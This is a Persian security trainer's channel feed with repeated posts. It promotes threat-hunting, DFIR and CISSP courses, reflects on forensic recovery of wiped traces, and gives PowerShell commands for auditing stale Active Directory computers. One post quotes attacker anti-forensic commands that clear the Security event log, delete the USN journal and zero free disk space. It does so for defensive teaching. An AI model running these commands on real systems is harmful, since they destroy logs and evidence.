این دقیقاً همان چیزی است که در دوره هانتینگ و فارنزیک روی آن تاکید دارم. ما یاد می‌گیریم چطور فراتر از داشبوردها و هشدارها فکر کنیم. یاد می‌گیریم چطور وقتی ابزارها سکوت کرده‌اند، ما همچنان سوالات درست را بپرسیم. چون یک مهاجم حرفه‌ای، اولین کاری که می‌کند، دور زدن ابزار شماست. آیا شما برای آن روز آماده‌اید؟
اگر می‌خواهید این سطح از تحلیل را تجربه کنید و از یک اپراتور ابزار به یک “شکارچی” واقعی تهدید تبدیل شوید، به من در واتس‌اپ یا بله پیام دهید. در این دوره مثال‌هایی چون مورد فوق رو کاملا برای شما می‌شکافم تا طرز تفکر و استدلال درست رو باهم مرور کنیم و یاد بگیرید .
اطلاعات تماس و ثبت‌نام:
WhatsApp & BALE: 09902857290
لیست کامل دوره‌ها و زمانبندی را میتوانید از همین شماره دریافت کنید
خلاصه عنوان دوره ها:
سطح ۱ امنیت
سنز ۶۰۸ هانت و IR
سنز ۵۹۹ تیم بنفش
دوره CISSP
❤7👏3
مهم نیست دوره سطح ۱ رو کجا رفتین.
اونچه من بررسی میکنم و یاد میدم حاصل تجربه خودم در ۲۳ سال از اونچه بلد هستم است + اونچه میدونم در جاهای دیگه گفته نمیشه.
پس
هرجا دوره رفته باشین باز سطح ۱ پیش من یادگرفتنی زیاد داره .
بریم یکبار واسه همیشه اساسی بکوبیم بیاریم بالا !!
دلیل اینکه سطح ۱ رو گذاشتم هم همینه .
اونچه من بررسی میکنم و یاد میدم حاصل تجربه خودم در ۲۳ سال از اونچه بلد هستم است + اونچه میدونم در جاهای دیگه گفته نمیشه.
پس
هرجا دوره رفته باشین باز سطح ۱ پیش من یادگرفتنی زیاد داره .
بریم یکبار واسه همیشه اساسی بکوبیم بیاریم بالا !!
دلیل اینکه سطح ۱ رو گذاشتم هم همینه .
❤7🤝3
دست نوجوانی که تو فامیل دارید بگیرید و بیارید تو این وبینار
شاید علاقه اش پیدا شد و بتونه حتی از ۱۷ سالگی در یه رشته فنی پول دربیاره
از ۱۶ تا ۶۰ سال میتونه از این وبینار استفاده کنه
شنبه شب ساعت ۲۰
رایگان - نقشه راه اشتغال در امنیت و درآمد زایی
https://eseminar.tv/wb162135
به روزرسانی :
و مانند همیشه اکثر دوستان و هموطنان در لحظات آخر ثبت نام میکنند. 🙂 زمان تصویر فوق ساعت یک بامداد ۱۷ مرداد ماه
ثبت نام وبینار آشنایی با مسیر اشتغال در امنیت و درآمد زایی مجددا تجدید بلیط شد.
شاید علاقه اش پیدا شد و بتونه حتی از ۱۷ سالگی در یه رشته فنی پول دربیاره
از ۱۶ تا ۶۰ سال میتونه از این وبینار استفاده کنه
شنبه شب ساعت ۲۰
رایگان - نقشه راه اشتغال در امنیت و درآمد زایی
https://eseminar.tv/wb162135
به روزرسانی :
و مانند همیشه اکثر دوستان و هموطنان در لحظات آخر ثبت نام میکنند. 🙂 زمان تصویر فوق ساعت یک بامداد ۱۷ مرداد ماه
ثبت نام وبینار آشنایی با مسیر اشتغال در امنیت و درآمد زایی مجددا تجدید بلیط شد.
❤6🙏6💯4👏1
شبحی در لاگ‌ها؛ ردپایی که قرار نبود دیده شود
اخیراً مقاله‌ای خواندم که مفهوم تاریخی پالیم‌سس (متنی که روی نوشته قبلی نوشته می‌شود و آثار قبلی هنوز کم‌رنگ باقی می‌مانند) را به تحقیقات DFIR ربط می‌داد. ایده جالبی بود: در دنیای واقعی، حتی وقتی متن اصلی پاک یا بازنویسی می‌شود، با ابزار مناسب می‌توان آن را بازیابی کرد.
در امنیت سایبری هم، مهاجمان سعی میکنند با دستوراتی مثل:
wevtutil cl Security
fsutil usn deletejournal /D C:
sdelete -z C:
رد خود را پاک کنند. اما درست مثل پالیم‌سس، حقیقت به‌طور کامل نابود نمی‌شود — قطعاتی از داده هنوز در جاهایی که انتظارش را ندارند، باقی می‌مانند: از USN Journal گرفته تا متادیتای فایل‌سیستم.
برای من، این یادآوری بود که کار ما در DFIR، پیدا کردن آن لایه‌های زیرین است؛ همان ردهای محو که قرار نبود دیگر دیده شوند… ولی ما می‌بینیمشان.
میتونیم در دوره ۶۰۸ در این مورد بیشتر گپ بزنیم
از شهریور این ماراتن رو شروع میکنم
👌در برند روزبه ، این یک تبلیغ نیست؛ بلکه دعوتی است برای آموزش و یادگیری حرفه ای دوستانه .
https://nasbench.medium.com/the-ghost-in-the-logs-dfir-through-a-palimpsest-lens-b592ef733f4f
اخیراً مقاله‌ای خواندم که مفهوم تاریخی پالیم‌سس (متنی که روی نوشته قبلی نوشته می‌شود و آثار قبلی هنوز کم‌رنگ باقی می‌مانند) را به تحقیقات DFIR ربط می‌داد. ایده جالبی بود: در دنیای واقعی، حتی وقتی متن اصلی پاک یا بازنویسی می‌شود، با ابزار مناسب می‌توان آن را بازیابی کرد.
در امنیت سایبری هم، مهاجمان سعی میکنند با دستوراتی مثل:
wevtutil cl Security
fsutil usn deletejournal /D C:
sdelete -z C:
رد خود را پاک کنند. اما درست مثل پالیم‌سس، حقیقت به‌طور کامل نابود نمی‌شود — قطعاتی از داده هنوز در جاهایی که انتظارش را ندارند، باقی می‌مانند: از USN Journal گرفته تا متادیتای فایل‌سیستم.
برای من، این یادآوری بود که کار ما در DFIR، پیدا کردن آن لایه‌های زیرین است؛ همان ردهای محو که قرار نبود دیگر دیده شوند… ولی ما می‌بینیمشان.
میتونیم در دوره ۶۰۸ در این مورد بیشتر گپ بزنیم
از شهریور این ماراتن رو شروع میکنم
👌در برند روزبه ، این یک تبلیغ نیست؛ بلکه دعوتی است برای آموزش و یادگیری حرفه ای دوستانه .
https://nasbench.medium.com/the-ghost-in-the-logs-dfir-through-a-palimpsest-lens-b592ef733f4f
👏4❤2
#تجربه
یکی از اصول کلیدی در حفظ امنیت و کارایی اکتیو دایرکتوری ، انجام بازبینی‌های دوره‌ای و منظم است. توصیه اکید می‌شود که حداقل هر شش ماه یک بار، یک ممیزی کامل از وضعیت کامپیوترها در AD به عمل آید. در طی این بازبینی، باید به دنبال نقاط ضعف امنیتی بالقوه بگردیم. برای مثال، وجود سیستم‌عامل‌های منسوخ و قدیمی که دیگر پشتیبانی نمی‌شوند، یک حفره امنیتی جدی محسوب می‌شود. همچنین، فعال بودن پروتکل‌های آسیب‌پذیری یا مکانیزم‌های احراز هویت ضعیف مثل می‌تواند کل شبکه را در معرض خطر قرار دهد.
بخشی حیاتی از این فرآیند، شناسایی کامپیوترهای غیرفعال یا “مرده” (Stale Computers) است. این‌ها حساب‌های کامپیوتری (Computer Accounts) هستند که در اکتیو دایرکتوری وجود دارند اما به هیچ ماشین فیزیکی یا مجازی فعالی متصل نیستند. این حساب‌ها باید ابتدا شناسایی، سپس غیرفعال (Disable) و پس از اطمینان کامل، از دیتابیس AD حذف شوند تا از بروز مشکلات امنیتی و مدیریتی جلوگیری شود.
برای استخراج اطلاعات مورد نیاز جهت این تحلیل، می‌توانیم از دستورات پاورشل بهره ببریم. سه ویژگی (Attribute) کلیدی در این زمینه به ما کمک میکنند:
یک OperatingSystem: نوع و نسخه سیستم‌عامل را مشخص می‌کند.
و PasswordLastSet: نشان‌دهنده آخرین زمانی است که رمز عبور حساب کامپیوتر در AD تغییر کرده است. به طور پیش‌فرض، این اتفاق هر ۳۰ روز یک بار رخ می‌دهد.
وLastLogonDate: آخرین باری که کامپیوتر با یک دامین کنترلر ارتباط برقرار کرده را ثبت می‌کند. این تاریخ، معیار بسیار خوبی برای تشخیص فعالیت یک سیستم است.
دستور پاورشل پایه برای جمع‌آوری اطلاعات:
یک دستور ساده و کاربردی برای شروع، جمع‌آوری اطلاعات اصلی کامپیوترها و مرتب‌سازی آن‌ها بر اساس سیستم‌عامل است. این دستور به شما دید اولیه‌ی خوبی از وضعیت کلی سیستم‌ها می‌دهد:
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate, PasswordLastSet |
Sort-Object OperatingSystem |
Select-Object Name, OperatingSystem, LastLogonDate, PasswordLastSet
دستور پیشرفته برای شناسایی کامپیوترهای غیرفعال:
برای یک تحلیل دقیق‌تر و شناسایی سیستم‌های غیرفعال، می‌توانیم دستور را به شکل زیر بهینه کنیم. در این کامند جدید، ما یک متغیر برای تعیین بازه زمانی عدم فعالیت (مثلاً ۹۰ روز) تعریف کرده و سپس فقط کامپیوترهایی را فیلتر میکنیم که در این مدت هیچ فعالیتی نداشته‌اند. خروجی نیز برای خوانایی بهتر فرمت‌بندی شده است.
# تعریف بازه زمانی؛ کامپیوترهایی که بیش از 90 روز غیرفعال بوده‌اند را پیدا کن
$inactiveDays = 90
$inactiveDate = (Get-Date).AddDays(-$inactiveDays)
# دریافت کامپیوترهای غیرفعال، مرتب‌سازی بر اساس آخرین تاریخ لاگین و نمایش اطلاعات کلیدی
Get-ADComputer -Filter {LastLogonDate -lt $inactiveDate -or LastLogonDate -notlike "*"} -Properties OperatingSystem, LastLogonDate, PasswordLastSet, Enabled |
Sort-Object LastLogonDate |
Format-Table Name, OperatingSystem, Enabled, @{Name="Last Logon"; Expression={$_.LastLogonDate}}, PasswordLastSet -AutoSize
این دستور پیشرفته به مدیران شبکه کمک می‌کند تا به سرعت کامپیوترهای نیازمند بررسی را شناسایی کرده و برای غیرفعال یا حذف کردن آن‌ها اقدام نمایند
مرجع: درس سطح ۱ امنیت آکادمی روزبه
لیست دوره های من رو میتونید از واتس اپ و بله 09902857290 دریافت کنید.
یکی از اصول کلیدی در حفظ امنیت و کارایی اکتیو دایرکتوری ، انجام بازبینی‌های دوره‌ای و منظم است. توصیه اکید می‌شود که حداقل هر شش ماه یک بار، یک ممیزی کامل از وضعیت کامپیوترها در AD به عمل آید. در طی این بازبینی، باید به دنبال نقاط ضعف امنیتی بالقوه بگردیم. برای مثال، وجود سیستم‌عامل‌های منسوخ و قدیمی که دیگر پشتیبانی نمی‌شوند، یک حفره امنیتی جدی محسوب می‌شود. همچنین، فعال بودن پروتکل‌های آسیب‌پذیری یا مکانیزم‌های احراز هویت ضعیف مثل می‌تواند کل شبکه را در معرض خطر قرار دهد.
بخشی حیاتی از این فرآیند، شناسایی کامپیوترهای غیرفعال یا “مرده” (Stale Computers) است. این‌ها حساب‌های کامپیوتری (Computer Accounts) هستند که در اکتیو دایرکتوری وجود دارند اما به هیچ ماشین فیزیکی یا مجازی فعالی متصل نیستند. این حساب‌ها باید ابتدا شناسایی، سپس غیرفعال (Disable) و پس از اطمینان کامل، از دیتابیس AD حذف شوند تا از بروز مشکلات امنیتی و مدیریتی جلوگیری شود.
برای استخراج اطلاعات مورد نیاز جهت این تحلیل، می‌توانیم از دستورات پاورشل بهره ببریم. سه ویژگی (Attribute) کلیدی در این زمینه به ما کمک میکنند:
یک OperatingSystem: نوع و نسخه سیستم‌عامل را مشخص می‌کند.
و PasswordLastSet: نشان‌دهنده آخرین زمانی است که رمز عبور حساب کامپیوتر در AD تغییر کرده است. به طور پیش‌فرض، این اتفاق هر ۳۰ روز یک بار رخ می‌دهد.
وLastLogonDate: آخرین باری که کامپیوتر با یک دامین کنترلر ارتباط برقرار کرده را ثبت می‌کند. این تاریخ، معیار بسیار خوبی برای تشخیص فعالیت یک سیستم است.
دستور پاورشل پایه برای جمع‌آوری اطلاعات:
یک دستور ساده و کاربردی برای شروع، جمع‌آوری اطلاعات اصلی کامپیوترها و مرتب‌سازی آن‌ها بر اساس سیستم‌عامل است. این دستور به شما دید اولیه‌ی خوبی از وضعیت کلی سیستم‌ها می‌دهد:
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate, PasswordLastSet |
Sort-Object OperatingSystem |
Select-Object Name, OperatingSystem, LastLogonDate, PasswordLastSet
دستور پیشرفته برای شناسایی کامپیوترهای غیرفعال:
برای یک تحلیل دقیق‌تر و شناسایی سیستم‌های غیرفعال، می‌توانیم دستور را به شکل زیر بهینه کنیم. در این کامند جدید، ما یک متغیر برای تعیین بازه زمانی عدم فعالیت (مثلاً ۹۰ روز) تعریف کرده و سپس فقط کامپیوترهایی را فیلتر میکنیم که در این مدت هیچ فعالیتی نداشته‌اند. خروجی نیز برای خوانایی بهتر فرمت‌بندی شده است.
# تعریف بازه زمانی؛ کامپیوترهایی که بیش از 90 روز غیرفعال بوده‌اند را پیدا کن
$inactiveDays = 90
$inactiveDate = (Get-Date).AddDays(-$inactiveDays)
# دریافت کامپیوترهای غیرفعال، مرتب‌سازی بر اساس آخرین تاریخ لاگین و نمایش اطلاعات کلیدی
Get-ADComputer -Filter {LastLogonDate -lt $inactiveDate -or LastLogonDate -notlike "*"} -Properties OperatingSystem, LastLogonDate, PasswordLastSet, Enabled |
Sort-Object LastLogonDate |
Format-Table Name, OperatingSystem, Enabled, @{Name="Last Logon"; Expression={$_.LastLogonDate}}, PasswordLastSet -AutoSize
این دستور پیشرفته به مدیران شبکه کمک می‌کند تا به سرعت کامپیوترهای نیازمند بررسی را شناسایی کرده و برای غیرفعال یا حذف کردن آن‌ها اقدام نمایند
مرجع: درس سطح ۱ امنیت آکادمی روزبه
لیست دوره های من رو میتونید از واتس اپ و بله 09902857290 دریافت کنید.
👍3❤1👏1
داستان پاورشل
قسمت ۱
اون بنده خدایی که میاد کلا پاورشل رو در سازمان میبنده چون در یه دوره امنیت و SOC دیده که با پاورشل خیلی کارها میکنند رو باید دوره CISSP بفرستید !!
باید یادبگیره زندگی کردن واسه یک امنیت چی؛ وسط قابل اجرا بودن پاورشل معنی داره و بخاطر این بهش پول میدن . لذا اگر میای یه ابزار مهم که در شبکه های بزرگ حیاتیه رومیبندی؛ بهتره استعفا بدی یا حق دارند که بهت حقوق کم میدن .
#با_عرض_معذرت
پی نوشت: کسانی که فقط سازمانشون یه ادمین داره و مجبوره ، پاورشل رو ببنده و سازمان‌هایی که امنیت بالغی ندارند رو فاکتور میگیرم و ببندن، خلاص!.
اگر میخوای بیشتر از دلایل این نوشته مطلع بشی پست های بعدی رو بخون
دوره های آکادمی روزبه درحال ثبت نام
قسمت ۱
اون بنده خدایی که میاد کلا پاورشل رو در سازمان میبنده چون در یه دوره امنیت و SOC دیده که با پاورشل خیلی کارها میکنند رو باید دوره CISSP بفرستید !!
باید یادبگیره زندگی کردن واسه یک امنیت چی؛ وسط قابل اجرا بودن پاورشل معنی داره و بخاطر این بهش پول میدن . لذا اگر میای یه ابزار مهم که در شبکه های بزرگ حیاتیه رومیبندی؛ بهتره استعفا بدی یا حق دارند که بهت حقوق کم میدن .
#با_عرض_معذرت
پی نوشت: کسانی که فقط سازمانشون یه ادمین داره و مجبوره ، پاورشل رو ببنده و سازمان‌هایی که امنیت بالغی ندارند رو فاکتور میگیرم و ببندن، خلاص!.
اگر میخوای بیشتر از دلایل این نوشته مطلع بشی پست های بعدی رو بخون
دوره های آکادمی روزبه درحال ثبت نام
👏3❤1